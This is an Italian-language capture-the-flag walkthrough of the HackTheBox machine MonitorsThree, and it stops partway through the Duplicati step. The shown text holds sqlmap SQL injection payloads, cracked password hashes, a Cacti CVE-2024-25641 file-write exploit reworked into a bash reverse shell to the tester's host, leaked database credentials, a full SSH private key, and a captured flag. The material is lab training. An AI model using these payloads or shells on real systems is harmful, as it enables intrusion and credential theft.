MonitorThree

About MonitorsThree

`MonitorsThree` is a Medium Difficulty Linux machine that features a website for a company offering networking solutions. The website has a forgotten password page vulnerable to `SQL injection`, which is leveraged to gain access to credentials. Further enumeration of the website reveals a subdomain featuring a `Cacti` instance that can be accessed with the credentials obtained from the `SQL injection`. The `Cacti` instance is vulnerable to `[CVE-2024-25641](https://nvd.nist.gov/vuln/detail/CVE-2024-25641)`, which is leveraged to gain a foothold on the system. Further enumeration of the system reveals credentials used to access the database, where hashes are found and cracked to obtain the user password. This is then used to gain access to `SSH` private keys, leading to `SSH` access to the system. Enumeration of open ports on the system reveals a vulnerable `Duplicati`instance, which is leveraged to gain a shell as root.

IP = 10.10.11.30

Enumeration

SCAN NMAP PORT && SERVICE

```
.opt/htb_machine/MonitorThree nmap -A -sC -sV -T5 -Pn 10.10.11.30 -oG monthree_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 02:28 CET
Nmap scan report for 10.10.11.30
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (reset)
                 SERVICE VERSION
PORT
                         OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
22/tcp open
 ssh-hostkey:
   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
   256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
                        nginx 1.18.0 (Ubuntu)
80/tcp
        open
                 http
|_http-server-header: nginx/1.18.0 (Ubuntu)
 http-title: Did not follow redirect to http://monitorsthree.htb/
8084/tcp filtered websnp
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
            ADDRESS
HOP RTT
   44.90 ms 10.10.14.1
   44.92 ms 10.10.11.30
```

```
80/tcp open http nginx 1.18.0 (Ubuntu) - redirect to <a href="http://monitorsthree.htb/">http://monitorsthree.htb/</a>
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
```

Aggiungo monitorsthree.htb/ al file /etc/hosts e visito il server web su porta 80






— MonitorsThree Provides —

The Best Networking Solutions

At MonitorsThree, we specialize in providing top-tier networking solutions tailored to your business needs. Whether you're looking to enhance your network infrastructure, improve security, or ensure seamless connectivity, our team of experts is here to help you achieve your goals.

Learn More




Provo vari tentativi di SQLI base sul form di login ma senza risultato, probabilmente è protetto, ma sotto vi è un form

cliccabile 'forgot password' e quindi provo ad aprirlo e inviare la richiesta a burpsuite per esaminarla successivamente con

SQLMAP e cercare eventuali vulnerabilità con l'inserimento di un apicetto che noto subito dal browser restituisce un errore, e

ciò mi da ottime indicazioni di una possibile vulnerabilità appunto di SQLI



SQLI with SQLMAP

Di seguito la request inviata e intercettata da burp con l apicetto che restituiva errore sul browser

Request Pretty Raw Hex

```
POST /forgot_password.php HTTP/1.1
  Host: monitorsthree.htb
 3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101
    Firefox/128.0
  Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept - Language: en-US, en; q=0.5
 6 Accept-Encoding: gzip, deflate, br
 7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 12
9 Origin: http://monitorsthree.htb
10 Connection: keep-alive
   Referer: http://monitorsthree.htb/forgot password.php
11
12 Cookie: PHPSESSID=lcethh20ra2p9v5p3b1rbulaq6
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 username='
```

Ora salvo la request in un file che chiamo 'forgot_req' e la do in pasto a SQLMAP per verificare se sono presenti eventuali vulnerabilità di SQLI

```
POST /forgot password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en - US, en; q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Origin: http://monitorsthree.htb
Connection: keep-alive
Referer: http://monitorsthree.htb/forgot password.php
Cookie: PHPSESSID=lcethh20ra2p9v5p3b1rbulaq6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=*
```

Ho inserito * al campo usrname per dire a SQLMAP di interrogare su tutti i possibili payload in quel campo e salvo la req

```
♠
| ▷
.opt/h/MonitorThree
ls

forgot_req
monthree_scan

♠
| ▷
.opt/h/MonitorThree
```

```
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=' OR NOT 8022=8022-- ArQh

Type: error-based
Title: MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=' OR (SELECT 7089 FROM(SELECT COUNT(*),CONCAT(0×71716a7871,(SELECT (ELT(7089=7089,1))),0

x7162626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qTCZ

Type: stacked queries
Title: MySQL ≥ 5.0.12 stacked queries (comment)
Payload: username=';SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: username=' AND (SELECT 4601 FROM (SELECT(SLEEP(5)))rISD)-- xdht

available databases [2]:
```

```
available databases [2]:
[*] information_schema
[*] monitorsthree_db
```

Bene confermate le vulnerabilità e precisamente 'boolean-based blind' 'error-based' 'stacked queries' e trivati 2 database

uno classico 'information_schema' e l altro interessante da interrogare 'monitorsthree_db'.

procedo con l'interrogazione di 'monitorsthree_db'

Interessante trova 6 tabelle ora faccio l'interrogazione per le colonne di 'users table' con il --dump per ricevere le info




Table: users [4 entries]	4		+	+		
id dob	email start_date	name	salary	password	username	positi
	admin@monitorsthree.htb	Marcus Higgins	320800.00	31a181c8372e3afc59dab863430610e8	ladmin	Super
5 1985-02-15 e Administrator		Michael Watson	75000.00	c585d01f2eb3e6e1073e92023088a3dd	mwatson	Websit
	janderson@monitorsthree.htb 2021-06-20	Jennifer Anderson	68000.00	l 1e68b6eb86b45f6d92f8f292428f77ac	janderson	Networ
	dthompson@monitorsthree.htb 2022-09-15	David Thompson	83000.00	633b683cc128fe244b00f176c8a950f5	dthompson	Databa
++	+		+	+		

admin@monitorsthree.htb	Marcus Higgins	31a181c8372e3afc59dab863430610e8	admin
mwatson@monitorsthree.htb	Michael Watson	c585d01f2eb3e6e1073e92023088a3dd	mwatson
janderson@monitorsthree.htb	Jennifer Anderson	1e68b6eb86b45f6d92f8f292428f77ac	janderson
dthompson@monitorsthree.htb	David Thompson	633b683cc128fe244b00f176c8a950f5	dthompson

Bene trova 4 utenti e le relative passwd sotto formato hash , ora quello che posso fare e andare sul sito web crackstation e provare da li a crackare le 4 hash

Enter up to 20 non-salted hashes, one per line:



Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result		
31a181c8372e3afc59dab863430610e8	md5	greencacti2001		
c585d01f2eb3e6e1073e92023088a3dd	Unknown	Not found.		
1e68b6eb86b45f6d92f8f292428f77ac	Unknown	Not found.		
633b683cc128fe244b00f176c8a950f5	Unknown	Not found.		
Color Codes: Court match Valley Destin match 1998 Not found				

Color Codes: Green: Exact match, Yellow: Partial match, Red Not found.

Molto bene riesco a crackare quella di admin 'Markus Higgins' -> passwd:greencacti2001

Fuzzing for use cred.


Provo a usare le credenziali trovate 'admin:greencacti2001' sul form di login della pag. principale del server web e

riesco a entrare ma da qui non riesco a trovare nulla di interessante cm ad esempio un upload di file o cose del genere,

potrebbe trattarsi di una classica 'tana del coniglio', da qui quindi decido di fare un fuzzing delle directory del server per

trovare qualche altra directori interessante in cui usare le credenziali e per farlo uso il tool 'fuff'

LOGIN IN monitorthree.htb



Scorro tutte le tab ma apparte visionare i post degli user del sever e dei clienti non c'è nulla di interessante che possa fare per interagiere con il server

FUZZING WITH FFUF

```
proxy2 [Status: 200, Size: 13560, host111 [Status: 200, Size: 13560, dns4 [Status: 200, Size: 13560, aomenbocaiwang [Status: 200, Size: 13560, host180 [Status: 200, Size: 13560, Status: 200, Size: 13560, Status: 200, Size: 13560,
```


Size comune da escludere 13560 -- fs 13560


```
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 49ms]
```

Trova 'cacti' la aggiungo al file /etc/hosts come cacti.monitorthree.htb e visito la pag. web trovata

Cacti -foothold

Bene la pagina trovata con ffuf ha di nuovo un form di login dove posso entrare acnora con le credenziali trovate prima 'admin:greencacti2001'





Questo sembra decisamente piu interessante, intanto è presente la versione del software cacti che è la 1.2.26 e una section con un form per importare graph-template





Google mostra sia cos è e cosa fa il software cacti , che poi con una ricerca per exploit sulla versione corrente un interessante POC

WHAT IS CACTI?

RIF: https://www.cacti.net/

About Cacti

Cacti provides a robust and extensible operational monitoring and fault management framework for users around the world. Is also a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality.

Cacti includes a fully distributed and fault tolerant data collection framework, advanced template based automation features for Devices, Graphs and Trees, multiple data acquisition methods, the ability to be extended through Plugins, Role based User, Group and Domain management features in addition to a theming engine and multiple language support all right out of the box.

All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with tens of thousands of devices.

EXPLOIT CVE-2024-25641 FROM GITHUB POC

RIF: https://github.com/cacti/cacti/security/advisories/GHSA-7cmj-q5qc-pj88

Summary

An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server (RCE).

Details

The vulnerability is located within the import_package() function defined into the /lib/ import.php script:

```
foreach ($data['files']['file'] as $f)
    $fdata = base64_decode($f['data']);
              $name = $f['name'];
519
520
             if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
    $filename = $config['base_path'] . "/$name";
522
523
                  if (!$preview) {
                        if (!cacti_sizeof(Simport_files) || in_array(Sname, Simport_files)) {
   cacti_log('Writing file: ' . Sfilename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
525
526
527
528
                             if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
529
                                  $file = fopen($filename, 'wb');
530
531
                                  if (is_resource($file)) {
532
                                       fclose($file);
533
534
                                       clearstatcache();
                                       $filestatus[$filename] = _('written');
535
536
                                  } else {
537
                                       $filestatus[$filename] = __('could not open');
540
                                  if (!file_exists($filename)) {
                                       cacti log('FATAL: Unable to create directory: ' . $filename, true, 'IMPORT', POLLER_VERBOSITY_LOW);
541
542
543
                                       $filestatus[$filename] = __('not exists');
544
545
                             } else {
46
                                  $filestatus[$filename] = __('not writable');
```

The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts.

POC

• Use the following PHP script to generate a malicious package to import into Cacti:

```
<?php
$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), bas
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".bas
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
```

- · Login into Cacti with an user having the "Import Templates" permission
- Go to Import/Export -> Import Packages
- Upload and import the test.xml.gz file previously generated
- Notice how the PHP file will be written into the resource directory, accessible at http:// [cacti]/resource/test.php:



Quindi lo script crea un payload che va a inserirsi nella path principale di cacti come template e il campo '\$

filedata' contiente in

questo caso una richiesta '"<?php phpinfo(); ?>", ora sostituendo quest ultima con una rev shell php bash, e mantenendo

il nome 'test.php' dato dallo script dovrei essere in grado di uploudarla sul server e attivarla per ricevere una shell in locale su nc.

PREPARAZIONE REV-SHELL

'<?php exec("bash -c \'bash -i >& /dev/tcp/10.10.14.39/4444 0>&1\"") ?>'

SCRIPT MODIFICATO


LANCIO SCRIPT per ottenere il file xml, in formato .gz da poter uplodare sul server cacti

Ora faccio I upload del file generato con lo script sul server




Premo sul tasto 'import' e mi salvo la path di destinazione su cui andrò successivamente per runnare la shell





vado sulla path indicata e apro nc su porta 4444 ricevendo cosi la rev-shell come user www-data



```
listening on [any] 4444 ...

connect to [10.10.14.39] from (UNKNOWN) [10.10.11.30] 33884

bash: cannot set terminal process group (1222): Inappropriate ioctl for device bash: no job control in this shell

www-data@monitorsthree:~/html/cacti/resource$ id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@monitorsthree:~/html/cacti/resource$ whoami

whoami

www-data

www-data@monitorsthree:~/html/cacti/resource$
```

root@3a453ab39d3d:/backend# stty rows 50 columns 158

```
www-data@monitorsthree:~/html/cacti/resource$ export TERM=xterm
www-data@monitorsthree:~/html/cacti/resource$ export SHELL=bash
www-data@monitorsthree:~/html/cacti/resource$ stty rows 50 columns 158
```

Lateral_Movment

Enumero per un po di tempo il server, ecome al solito quando sono con utente con pochi privilegi come nel caso di 'www-data'

cerco file di configurazione che possano contenere cose interessanti, mi imbatto quindi in un file di conf. del database che

contiene delle credenziali in '/var/www/html/cacti/include/global.php'

www-data@monitorsthree:~/html/cacti/include\$ cat global.php

<snip...>

```
/* Default database settings*/
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 2;
```

Mysql Dump

La porta 3306 indaca mysql attivo sul server e le credenziali sono 'cactiuser' quindi posso procedere a connettermi

con il database mysql con le suddette credenziali

```
www-data@monitorsthree:~$ mysql -u cactiuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8305
Server version: 10.6.18-MariaDB-Oubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
```

Enumerazione dbs

Enumeration tables

```
Database changed
MariaDB [cacti]> show tables;
 Tables_in_cacti
 aggregate_graph_templates
 aggregate_graph_templates_graph
 aggregate_graph_templates_item
 aggregate_graphs
 aggregate_graphs_graph_item
 aggregate_graphs_items
 automation_devices
 automation_graph_rule_items
 automation_graph_rules
 automation_ips
  automation_match_rule_items
  automation_networks
 automation_processes
 automation_snmp
 automation_snmp_items
  automation_templates
 automation_tree_rule_items
 automation_tree_rules
 cdef
 cdef items
 color template items
 color_templates
 colors
 data_debug
 data_input
 data_input_data
 data_input_fields
```

```
snmpagent_notifications_log
user auth
user_auth_cache
user_auth_group
user_auth_group_members
user_auth_group_perms
user_auth_group_realm
user_auth_perms
user auth realm
user_auth_row_cache
user_domains
user_domains_ldap
user_log
vdef
vdef_items
version
```

Su google vado sul sito 'tunnelsup.com' hash-identifier inserisco l hash torvato e mi da conferma che si tratta di hash criptato con 'bcrypt'

Hash Analyzer

Tool to identify hash types. Enter a hash to be identified.

\$2y\$10\$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G

Analyze

Hash: \$2y\$10\$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vP

inSer3mDuyG90G

Salt: Not Found

Hash type: bcrypt

Bit length: 184

Character length: 60

Character type: \$2x\$x\$ followed by base64

Hash: 24TSRuSRRApmqf5vPinSer3mDuyG90G

Salt: tjPSsSP6UovL3OTNeam4Oe

Il mode bycrip per hashcat è 3200

3100	Oracle H: Type (Oracle 7+)	7A963A529D2E3229:3682427524
3200	bcrypt \$2*\$, Blowfish (Unix)	\$2a\$05\$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6
3500	md5(md5(md5(\$pass)))	9882d0778518b095917eb589f6998441

Quindi lancio hashcat

```
popt/h/MonitorThree hashcat -m 3200 hash /usr/share/word
lists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
```

Dopo un po di tempo mi trova la password dall hash dell user marcus >>> marcus:12345678910

Ora quando provo a connettermi come marcus tramite ssh mi da errore 'Permission Denied' per la chiave pubblica non corretta

```
Decopt/h/MonitorThree ssh marcus@10.10.11.30

The authenticity of host '10.10.11.30 (10.10.11.30)' can't be established. ED25519 key fingerprint is SHA256:1llzaKeglum8R0dawipiv9mSGU33yzoUW3fr09MAF6U. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.30' (ED25519) to the list of known hosts. marcus@10.10.11.30: Permission denied (publickey).
```

Invece direttamente dalla shell provo con il cmd 'su marcus' inserisco la passwd e mi fa l'upgrade utente come Marcus

```
www-data@monitorsthree:~$ su marcus
Password:
marcus@monitorsthree:/var/www$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitorsthree:/var/www$ whoaami
Command 'whoaami' not found, did you mean:
   command 'whoami' from deb coreutils (8.32-4.1ubuntu1.2)
Try: apt install <deb name>
marcus@monitorsthree:/var/www$ whoami
marcus
marcus@monitorsthree:/var/www$
```

Recupero la user.txt sulla home di marcus

```
marcus@monitorsthree:/var/www$ cd /home
marcus@monitorsthree:/home$ cd marcus
marcus@monitorsthree:~$ cat user.txt
45d816ad671137f6312a295044480194
marcus@monitorsthree:~$
```

PrivEsc Marcus to Root

Dunque visto che prima non mi faceva connettere da ssh come user marcus , adesso dalla sua home vado su /.ssh e prendo la

id_rsa chiave privata di marcus e la copio in locale in un file dopodiche mi connetto con quest ultima tramite ssh dopo aver

dato alla key i permessi corretti 'chmod 600 id_rsa'

BEGIN OPENSSH PRIVATE KEY b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAABAAABlwAAAAdzc2gtcn

NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh80XK rPkApFwR1k4oJkxQJi0fG2oSWmssfwgwY4FWw51sNIALbSIV3UIlz8/3ufN0zmB4WHacS+ k7h0P/rJ8GjxihThmh6PzC0RbpD/wCCCvF1qX+Bq8xc7797xBR4KfPaA90gB0uvEuzVWco MYII6QvznQ1FErJnOiceJoxRrl0866JmOf6moP66URla5+0sLta796+ARDNMQ2g4geh53p ja3nZYq2QAi1b66GIRmYUGz4uWunRJ+6kUvf7QVmNgmmnF2cVYFpdlBp8WAMZ2XyeqhTkh Z4fg6mwPyQfloTFYxw1jv96F+Kw4ET1tTL+PLQL0YpHgRTelkCKBxo4/NiGs6LTEzsucyq Dedke5o/5xcIGnU/kTtwt5xXZMqmojXOywf77vomCuLHfcyePf2vwImF9Frs07lo3ps7pK ipf5cQ4wYN5V7I+hFcie5p9eeG+9ovdw7Q6qrD77AAAFkIu0kraLtJK2AAAAB3NzaC1yc2 EAAAGBAKoLyKcyVw1iTiXowtwi9JvYMfCFzu1ASHxqZRtVwguhoaj0IfDlyqz5AKRcEdZO KCZMUCYtHxtqElprLH8KsGOBVsOdbDSAC20iFd1CJc/P97nzdM5geFh2nEvpO4Tj/6yfBo 8YoU4Zoej8wtEW6Q/8Aggrxdal/gavMXO+/e8QUeCnz2gPToAdLrxLs1VnKDGCCOkL850N RRKyZzonHiaMUa5dPOuiZjn+pqD+ulEZWuftLC7Wu/evgEQzTENoOIHoed6Y2t52WKtkAI tW+uhiEZmFBs+Llrp0SfupFL3+0FZjYJppxdnFWBaXZQafFgDGdl8nqoU5IWeH4OpsD8kH 5aExWMcNY7/ehfisOBE9bUy/jy0C9GKR4EU3pZAigcaOPzYhrOi0xM7LnMqg3nZHuaP+cX CBp1P5E7cLecV2TKpgI1zssH++76Jgrix33Mnj39r8CJhfRa7N05aN6b06SogX+XE0MGDe VeyPoRXInuafXnhvvaL3c000qqw++wAAAAMBAAEAAAGAAxIKAEa09xZnRrjh0INYCA8sBP UdlPWmX9KBrTo4shGXYqytDCOUpq738zginrfiDDt05Do4oVqN/a83X/ibBQuC0HaC0NDA HvLQy0D4YQ6/8wE0K8MFqKUHpE2VQJvTLFl7UZ4dVkAv4JhYStnM1ZbVt5kNyQzIn1T030 zAwVsn0tmQYsTHWPSrYgd3+36zDnAJt+koefv3xsmhnYEZwruXTZYW0EKqLuKpem7algzS Dkykbe/YupujChCK0u5KY2JL9a+YDQn7mberAY31KPAy0B66ba60FUgwECw0J4eTLMjeEA bppHadb5vQKH2ZhebpQlTiLEs2h9h9cwuW4GrJl3vcVqV68ECGwqr7/70vlmyUgzJFh0+8 /MFEq8iQ0VY4as4y88aMCuqDTT1×6Zqg1c8DuBeZkbvRDnU6IJ/qstLGfKmxg6s+VXpKlB iYckHk0TAs6FDngfxiRHvIAh8Xm+ke4ZGh59WJyPHGJ/6yh3ie7Eh+5h/fm8QRrmOpAAAA wHvDgC5gVw+pMpXUT99Xx6pFKU3M1oYxkhh29WhmlZgvtejLnr2qjpK9+YENfERZrh0mv0 GgruxPPkgEtY+MBxr6ycuiWHDX/xFX+ioN2KN2djMqqrUFqr0FYlp8DG6FCJRbs//sRMhJ bwi2Iob2vuHV8rDhmRRq12iEHvWEL6wBhcpFYpVk+R7XZ5G4uylCzs27K9bUEW7iduys5a ePG4B4U5NV3mDhdJBYtbuvwFdL7J+eD8rplhdQ3ICwFNC1uQAAAMEA03BUDMSJG6AuE6f5 U7UIb+k/QmCzphZ82az3Wa4mo3qAqulBkWQn65fVO+4fKY0YwIH99puaEn2OKzAGqH1hj2 y7xTo2s8fvepCx+MWL9D3R9y+daUeH1dBdxjUE2gosC+64gA2iF0VZ5qDZyq4ShKE0A+Wq 4sTOk1lxZI4pVbNhmCMyjbJ5fnWYbd8Z5MwlqmlVNzZuC+LQlKpKhPBbcECZ6Dhhk5Pskh 316YytN50Ds9f+ueqxGLyqY1rHiMrDAAAAwQDN4jV+izw84eQ86/8Pp3OnoNjzxpvsmfMP BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb e8yphoQ70zTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eD0c7T z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt

opt/h/MonitorThree vim id_rsa ۵ root@xy opt/h/MonitorThree MonitorThree.ctd forgot_req id_rsa monthree_scan test.php opt/h/MonitorThree chmod 600 id rsa root@xyz

ssh -i <u>id rsa</u> marcus@10.10.11.30 -o Str<mark>i</mark>ctHostKeyChecking=no opt/h/MonitorThree Last login: Tue Aug 20 11:34:00 2024 marcus@monitorsthree:~\$ id

uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)

PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH

marcus@monitorsthree:~\$ whoami

END OPENSSH PRIVATE KEY-

narcus

Da qui procedo con l'enumerazione dei servizi in ascolto e relative porte con netstat, e trovo una porta significativa che ascolta in localhost la '8200'

Active 1	nternet	three:~ \$ netstat -tunlnp connections (only server nd-Q Local Address	s) Foreign Address	State	PID/Program name
tcp	0	0 0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0 0.0.0.0:80	0.0.0.0:*	LISTEN	-
tcp	0	0 127.0.0.1:8200	0.0.0.0:*	LISTEN	-
tcp	0	0 127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0 127.0.0.1:39543	0.0.0.0:*	LISTEN	-
tcp	0	0 127.0.0.1:3306	0.0.0.0:*	LISTEN	
tcp	0	0 0.0.0.0:8084	0.0.0.0:*	LISTEN	-
tcp6	0	0 :::22	:::*	LISTEN	-
tcp6	0	0 :::80	:::*	LISTEN	-
udp	0	0 127.0.0.53:53	0.0.0.0:*		-
udp	0	0 0.0.0.0:68	0.0.0.0:*		-

a questo punto eseguo un port-forwarding con connessione ssh della porta 8200 da locale tramite localhost


```
        ♠
        popt/h/MonitorThree
        chmod 600 id rsa

        ♠
        popt/h/MonitorThree
        ssh marcus@10.10.11.30 -L 8200:127.0.0.1:8200 -i id rsa

        Last login: Thu Feb 20 04:28:50 2025 from 10.10.14.39

        marcus@monitorsthree:~$
        □
```


Visito quindi la porta 8200 da loclahost e trovo un form di login 'Duplicati'




Cerco su google per 'duplicati' e successvamente per exploit annessi ad esso e trovo un interessante post di 'github' in merito

WHAT IS DUPLICATI?

RIF: https://duplicati.com/





GIT-HUB EXPLOIT

RIF: https://github.com/duplicati/duplicati/issues/5197

Description

When Duplicati is configured with a login password, it is possible to bypass the login authentication using the Database server passphrase without actually knowing the correct password. The issue lies in the way the server passphrase is used to generate the authentication token.

https://github.com/duplicati/duplicati/ blob/67c1213a98e9f98659f3d4b78ded82b80ddab8bb/Duplicati/Server/webroot/login/ login.js

Steps to reproduce

- 1. Setup Duplicati with a login password
- Open Duplicati DB using any tool (like sqlite)
- Grab the (Server_passphrase)
- Open Burp Suite and enable "Intercept".
- 5. Go to the Duplicati login page and enter any password.
- Intercept the request in Burp Suite and select "Do intercept > Response to this request".
- 7. Analyze the intercepted response to retrieve the Nonce and Salt values.
- Verify that the Salt matches the one from the Duplicati database and note that the Nonce changes with each request.
- 9. Convert the server passphrase from Base64 to Hex.
- 10. Open the browser console (Chrome/Firefox), type allow pasting, and run the following modified command:

var saltedpwd = 'HexOutputFromCyberChef'; // Replace with the Hex output prover noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Baseo-.parconsole.log(noncedpwd);

- 11. Copy the noncedpwd value returned by the console.
- 12. In Burp Suite, forward the intercepted request and modify the password parameter with the noncedpwd value, URL encoding it if necessary (use CTRL+U in Burp Suite to URL encode).
- Forward the request and observe that you are logged into the Duplicati web interface.

Actual result:

Successfully logs into the Duplicati web interface without needing the login password, using the server passphrase.

Expected result:

The server passphrase should not bypass the login authentication. Only the correct login password should grant access to the web interface.

Quindi la prima cosa da fare e una ricerca ricorsiva sul server per cercare ciò che può condurre a un file di conf. del database

```
marcus@monitorsthree:~$ find / -name Duplicati-server.sqlite 2>/dev/null
/opt/duplicati/config/Duplicati-server.sqlite
```

Bene mi reco nella directory trovata

```
marcus@monitorsthree:~$ cd /opt/duplicati/config/
marcus@monitorsthree:/opt/duplicati/config$ ls
CTADPNHLTC.sqlite Duplicati-server.sqlite control_dir_v2
```

Da qui posso aprire un server python3 e scaricare 'Duplicati-server.sqlite' in locale per esaminarlo e cercare la 'passphrase' come richisto dal POC

```
marcus@monitorsthree:/opt/duplicati/config$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.39 - - [20/Feb/2025 04:53:56] "GET /Duplicati-server.sqlite HTTP/1.1" 200 -
```

```
| Dopt/htb_machine/MonitorThree | wget http://10.10.11.30:8000/Duplicati-server.sqlite |
--2025-02-02 05:53:04-- http://10.10.11.30:8000/Duplicati-server.sqlite |
|--2025-02-20 05:53:04-- http://10.10.11.30:8000/Duplicati-server.sqlite |
|--2025-02-20 05:53:04 (88K) [application/vnd.sqlite3] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
|--2025-02-20 05:53:04 (888 KB/s) - 'Duplicati-server.sqlite' saved [90112/90112] |
```

Lo apro con sqllite3 e nella tabella 'option' trovo la passphrase del databse

```
.opt/htb_machine/MonitorThree sqlite3 Duplicati-server.sqlite
OQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
                            Option
Backup
                                          TempFile
                         Schedule
ErrorLog
             Metadata
                                          UIStorage
             Notification Source
                                          Version
Filter
